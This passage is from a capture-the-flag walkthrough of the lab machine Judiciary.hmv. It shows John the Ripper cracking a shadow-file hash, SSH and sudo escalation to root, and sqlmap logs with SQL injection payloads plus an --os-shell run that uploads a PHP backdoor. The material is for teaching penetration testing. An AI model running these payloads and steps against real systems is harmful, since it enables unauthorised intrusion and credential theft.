By scanning the indentation layers and parsing the multi-line branches, the utility merges the broken sub-nodes back into a flat, production-ready /etc/shadow formatting. With the full yescrypt hashes reconstructed into clean strings, we can seamlessly pass shadow.txt into our cracking rigs to recover the system credentials and seal our absolute root conquest.

With our newly reconstructed shadow.txt file safely parsed by the utility, we feed the clean strings directly into John the Ripper. We explicitly set the module format to --format=crypt and point it to the standard rockyou.txt dictionary file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
Warning: hash encoding string length 33, type id $y
appears to be unsupported on this system; will not load such hashes.
Warning: hash encoding string length 72, type id $y
appears to be unsupported on this system; will not load such hashes.
Warning: hash encoding string length 55, type id $y
appears to be unsupported on this system; will not load such hashes.
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
justice          (suedoe)     
1g 0:00:00:27 DONE (2026-10-04 20:01) 0.03589g/s 44.79p/s 44.79c/s 44.79C/s 753951..shirley
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

John notes a few environment warnings regarding the high-entropy formatting lengths of specific administrative strings (mlaw, jcase), which our testing rig’s library skipping flags ignore. However, it successfully hooks and loads a highly vulnerable hash associated with the user profile suedoe. After evaluating the combinations for roughly 27 seconds, the engine hits a direct dictionary match:

  • Cracked Account: suedoe
  • Cleartext Password: justice

Now that we possess valid credentials, we can abandon the fragile web shell environment completely. We store the destination parameters into a local shell variable and initiate a stable, interactive SSH connection straight into judiciary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ ip=10.0.2.29

┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ ssh suedoe@$ip
suedoe@10.0.2.29's password: 
Welcome to Ubuntu 26.04.1 LTS (GNU/Linux 7.0.0-34-generic x86_64)

 * Documentation:  https://docs.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Oct  5 07:41:09 PM UTC 2026

  System load:  0.03               Processes:               165
  Usage of /:   50.2% of 11.21GB   Users logged in:         0
  Memory usage: 13%                IPv4 address for enp0s3: 10.0.2.29
  Swap usage:   0%

 * Canonical Workshop gives developers fast, composable, reproducible, and
   secure developer environments that are perfect for agentic workflows.

   https://ubuntu.com/workshop

Expanded Security Maintenance for Applications is not enabled.

35 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Mon Oct  5 19:20:19 2026 from 10.0.2.3
suedoe@judiciary:~$ 


The system accepts our credentials and drops us into a full, authenticated bash prompt on judiciary. We are no longer limited by the web application’s sandboxing rules. We have officially pivoted onto the local Linux subsystem as a standard user (suedoe), positioning us perfectly to execute our final privilege escalation maneuvers to seize absolute root dominance over the judiciary sytem.

Now firmly established within a native Secure Shell session, we run standard audit diagnostics (whoami; id; hostname; ip a) to document our environment parameters and pull the initial objective file, user.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
suedoe@judiciary:~$ whoami;id;hostname;ip a; cat user.txt
suedoe
uid=1000(suedoe) gid=1000(suedoe) groups=1000(suedoe),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)
judiciary
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:0a:7c:ae brd ff:ff:ff:ff:ff:ff
    altname enx0800270a7cae
    inet 10.0.2.29/24 metric 100 brd 10.0.2.255 scope global dynamic enp0s3
       valid_lft 437sec preferred_lft 437sec
    inet6 fe80::a00:27ff:fe0a:7cae/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever

                                                                 
                           +####-  +#                            
                      +## ##  # +++ +######                      
                   ###+ +###-#####        ####                   
                 ###    ## #######                               
               ###       ## #####          ##+#+ #               
             #+#      ##### ###           #   #  ###             
            ###      ###   #####        +#    #    ##            
           +#+       ++ ######### +    +##    #     ##           
          +##   +    + #####   .+ ## +###     #      ##          
          ##   +  ###+ #### ###+ ### +#+ +  ++### .  +#+         
         ##     # .#   ##  ########       ##     #    ##         
         ##           +#    ##### +              .#   ##         
         ##          +##     ## ###                   ##+        
         ##          ##      #######     #  #   -     ###        
         ##         ##      #####+##             - +  +#+        
         ##         ##     ##### #+##    ####    ++   ##         
         ###    #  ##      #######  #+                ##         
          ##     ++#       ###++## ###               ##          
           ##     ###  #   ###+##  ##+              +#+          
            ##     # ##   ###### + ####            ###           
             ###    ####  ##### # ### #     ###   ##             
              +##       ## ##+### ##  #  # #+   ###              
                #        ##. ### ### -#   +   ###                
                       ### ##  ##### +# #- #+##                  
                     ##+     ##  +#  ##   #+                     
                         ###   ###   ##                          
                              -  ###                           
        
         ██╗██╗   ██╗██████╗ ██╗ ██████╗██╗ █████╗ ██████╗ ██╗   ██╗
         ██║██║   ██║██╔══██╗██║██╔════╝██║██╔══██╗██╔══██╗╚██╗ ██╔╝
         ██║██║   ██║██║  ██║██║██║     ██║███████║██████╔╝ ╚████╔╝ 
    ██   ██║██║   ██║██║  ██║██║██║     ██║██╔══██║██╔══██╗  ╚██╔╝  
    ╚█████╔╝╚██████╔╝██████╔╝██║╚██████╗██║██║  ██║██║  ██║   ██║   
     ╚════╝  ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   
                                                           
                HMV{HERE IS THE USER FLAG}

The user flag is captured! Looking closely at our group permissions mapped by the id binary, we spot an immediate path forward: 27(sudo). The system administrator inadvertently left suedoe inside the privileged administrative group, meaning our final leap to total system dominance requires no further complex exploitation vectors.

With our environment mapped and our user flag logged, we invoke our administrative rights to transition out of the unprivileged ecosystem completely. We trigger sudo su, authenticate using our cracked credential (justice), and navigate directly to the root operator’s core directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
suedoe@judiciary:~$ sudo su
[sudo: authenticate] Password:        
root@judiciary:/home/suedoe# cd ~
root@judiciary:~# whoami;id;hostname;ip a;cat root.txt
root
uid=0(root) gid=0(root) groups=0(root)
judiciary
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:0a:7c:ae brd ff:ff:ff:ff:ff:ff
    altname enx0800270a7cae
    inet 10.0.2.29/24 metric 100 brd 10.0.2.255 scope global dynamic enp0s3
       valid_lft 354sec preferred_lft 354sec
    inet6 fe80::a00:27ff:fe0a:7cae/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever
                                                                 
                           +####-  +#                            
                      +## ##  # +++ +######                      
                   ###+ +###-#####        ####                   
                 ###    ## #######                               
               ###       ## #####          ##+#+ #               
             #+#      ##### ###           #   #  ###             
            ###      ###   #####        +#    #    ##            
           +#+       ++ ######### +    +##    #     ##           
          +##   +    + #####   .+ ## +###     #      ##          
          ##   +  ###+ #### ###+ ### +#+ +  ++### .  +#+         
         ##     # .#   ##  ########       ##     #    ##         
         ##           +#    ##### +              .#   ##         
         ##          +##     ## ###                   ##+        
         ##          ##      #######     #  #   -     ###        
         ##         ##      #####+##             - +  +#+        
         ##         ##     ##### #+##    ####    ++   ##         
         ###    #  ##      #######  #+                ##         
          ##     ++#       ###++## ###               ##          
           ##     ###  #   ###+##  ##+              +#+          
            ##     # ##   ###### + ####            ###           
             ###    ####  ##### # ### #     ###   ##             
              +##       ## ##+### ##  #  # #+   ###              
                #        ##. ### ### -#   +   ###                
                       ### ##  ##### +# #- #+##                  
                     ##+     ##  +#  ##   #+                     
                         ###   ###   ##                          
                              -  ###                           
        
         ██╗██╗   ██╗██████╗ ██╗ ██████╗██╗ █████╗ ██████╗ ██╗   ██╗
         ██║██║   ██║██╔══██╗██║██╔════╝██║██╔══██╗██╔══██╗╚██╗ ██╔╝
         ██║██║   ██║██║  ██║██║██║     ██║███████║██████╔╝ ╚████╔╝ 
    ██   ██║██║   ██║██║  ██║██║██║     ██║██╔══██║██╔══██╗  ╚██╔╝  
    ╚█████╔╝╚██████╔╝██████╔╝██║╚██████╗██║██║  ██║██║  ██║   ██║   
     ╚════╝  ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝   
                                                                      
    HMV{HERE IS THE ROOT FLAG}
root@judiciary:~# 

System compromised. The root flag is officially secured under uid=0.

From an OSINT exploration of court schedules, an intelligent dictionary attack targeting legal terminology, a customized SQL Injection to write files to a disk and then reconstructing fragmented hashes from /etc/shadow via a misconfigured SUID binary, Judiciary.hmv has been completely compromised.

Alternative with SQLmap

While our primary walk-through focused on manual exploitation to bypass application structures, this vulnerability can also be fully audited and exploited using SQLmap. To replicate this automated approach, we first intercept the vulnerable search query using Burp Suite and save the raw HTTP GET request into a local text file named req.

With the session headers, authentication cookies, and request mapping saved, we invoke SQLmap using maximum aggressive detection flags to isolate the flaw.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ sqlmap -r req --level=5 --risk=3 
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.10.2#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:08:08 /2026-10-05/

[22:08:08] [INFO] parsing HTTP request from 'req'
it appears that provided value for GET parameter 'search' has boundaries. Do you want to inject inside? (''or 1 %3D 1 %3B* -- - ') [y/N] y
[22:08:13] [INFO] testing connection to the target URL
[22:08:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:08:13] [INFO] testing if the target URL content is stable
[22:08:13] [INFO] target URL content is stable
[22:08:13] [INFO] testing if GET parameter 'search' is dynamic
[22:08:13] [INFO] GET parameter 'search' appears to be dynamic
[22:08:13] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable
[22:08:13] [INFO] testing for SQL injection on GET parameter 'search'
[22:08:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:08:14] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[22:08:14] [WARNING] reflective value(s) found and filtering out
[22:08:14] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[22:08:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[22:08:15] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[22:08:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[22:08:16] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[22:08:16] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[22:08:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[22:08:16] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[22:08:16] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[22:08:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[22:08:17] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)'
[22:08:17] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[22:08:17] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[22:08:18] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[22:08:18] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[22:08:18] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[22:08:19] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:08:19] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:08:20] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[22:08:20] [INFO] testing 'PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)'
[22:08:21] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[22:08:21] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[22:08:21] [INFO] testing 'SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[22:08:22] [INFO] testing 'SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)'
[22:08:22] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:08:22] [INFO] GET parameter 'search' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --code=200)
[22:08:23] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[22:08:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:08:30] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:08:30] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[22:08:30] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[22:08:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:08:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:08:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:08:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:08:30] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:08:30] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:08:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:08:30] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:08:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:08:31] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:08:31] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:08:31] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:08:31] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:08:31] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:08:31] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[22:08:31] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:08:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:08:31] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[22:08:31] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[22:08:31] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[22:08:31] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[22:08:31] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[22:08:31] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[22:08:31] [INFO] testing 'Generic inline queries'
[22:08:31] [INFO] testing 'MySQL inline queries'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK)'
[22:08:31] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK)'
[22:08:31] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)'
[22:08:31] [INFO] testing 'MySQL > 5.0.12 AND time-based blind (heavy query - comment)'
[22:08:31] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)'
[22:08:31] [INFO] testing 'MySQL > 5.0.12 OR time-based blind (heavy query - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[22:08:31] [INFO] testing 'MySQL AND time-based blind (ELT)'
[22:08:31] [INFO] testing 'MySQL OR time-based blind (ELT)'
[22:08:31] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[22:08:31] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:08:31] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[22:08:31] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[22:08:41] [INFO] GET parameter 'search' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)' injectable 
[22:08:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:08:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:08:41] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[22:08:41] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:08:41] [INFO] target URL appears to have 2 columns in query
[22:08:41] [INFO] GET parameter 'search' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1742 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: search='or 1 = 1 %(SELECT (CASE WHEN (5343=5343) THEN '3B' ELSE (SELECT 2289 UNION SELECT 1150) END)) -- - 

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: search='or 1 = 1 %(SELECT 9243 FROM (SELECT(SLEEP(5)))IoIK) -- - 

    Type: UNION query
    Title: Generic UNION query (random number) - 2 columns
    Payload: search='or 1 = 1 %-2632 UNION ALL SELECT 9379,CONCAT(0x717a6a6b71,0x62504451484650457377764c41547571764f426c6d61504859557451757a6777654c464647667a73,0x71716b6a71)-- - -- -
---
[22:09:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:09:14] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1695 times
[22:09:14] [INFO] fetched data logged to text files under '/home/emvee/.local/share/sqlmap/output/10.0.2.29'
[22:09:14] [WARNING] your sqlmap version is outdated

[*] ending @ 22:09:14 /2026-10-05/

In our manual analysis, we established that the application architecture allowed us to drop a reverse shell directly into the writeable location /var/www/html/uploads/. Rather than formatting manual hexadecimal payloads, we can command SQLmap to automate this entire exploit staging sequence using the high-impact --os-shell argument.

When invoked, this directive leverages our identified file write access vectors to upload an automated staging file and a final web shell back into the system’s web root. We point the engine directly at our raw parameter dump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
┌──(emvee㉿kali)-[~/Documents/Judiciary]
└─$ sqlmap -r req --level=5 --risk=3 --os-shell
        ___
       __H__                                                         
 ___ ___[.]_____ ___ ___  {1.10.2#stable}                             
|_ -| . [)]     | .'| . |                                             
|___|_  [']_|_|_|__,|  _|                                             
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:12:07 /2026-10-05/

[22:12:07] [INFO] parsing HTTP request from 'req'
it appears that provided value for GET parameter 'search' has boundaries. Do you want to inject inside? (''or 1 %3D 1 %3B* -- - ') [y/N] y
[22:12:11] [INFO] resuming back-end DBMS 'mysql' 
[22:12:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: search='or 1 = 1 %(SELECT (CASE WHEN (5343=5343) THEN '3B' ELSE (SELECT 2289 UNION SELECT 1150) END)) -- - 

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: search='or 1 = 1 %(SELECT 9243 FROM (SELECT(SLEEP(5)))IoIK) -- - 

    Type: UNION query
    Title: Generic UNION query (random number) - 2 columns
    Payload: search='or 1 = 1 %-2632 UNION ALL SELECT 9379,CONCAT(0x717a6a6b71,0x62504451484650457377764c41547571764f426c6d61504859557451757a6777654c464647667a73,0x71716b6a71)-- - -- -
---
[22:12:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.66
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:12:11] [INFO] going to use a web backdoor for command prompt
[22:12:11] [INFO] fingerprinting the back-end DBMS operating system
[22:12:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] CFM
[4] JSP
[5] PHP (default)
> 5
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[22:12:18] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www, /usr/share/nginx/html') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html/uploads/
[22:12:32] [WARNING] unable to automatically parse any web server path
[22:12:32] [INFO] trying to upload the file stager on '/var/www/html/uploads/' via LIMIT 'LINES TERMINATED BY' method
[22:12:32] [WARNING] reflective value(s) found and filtering out
[22:12:32] [INFO] the file stager has been successfully uploaded on '/var/www/html/uploads/' - http://10.0.2.29:80/uploads/tmpunxez.php
[22:12:32] [INFO] the backdoor has been successfully uploaded on '/var/www/html/uploads/' - http://10.0.2.29:80/uploads/tmpbhtps.php
[22:12:32] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'www-data'
os-shell> 

As shown we have now a shell as www-data in SQLmap.

This post is licensed under CC BY 4.0 by the author.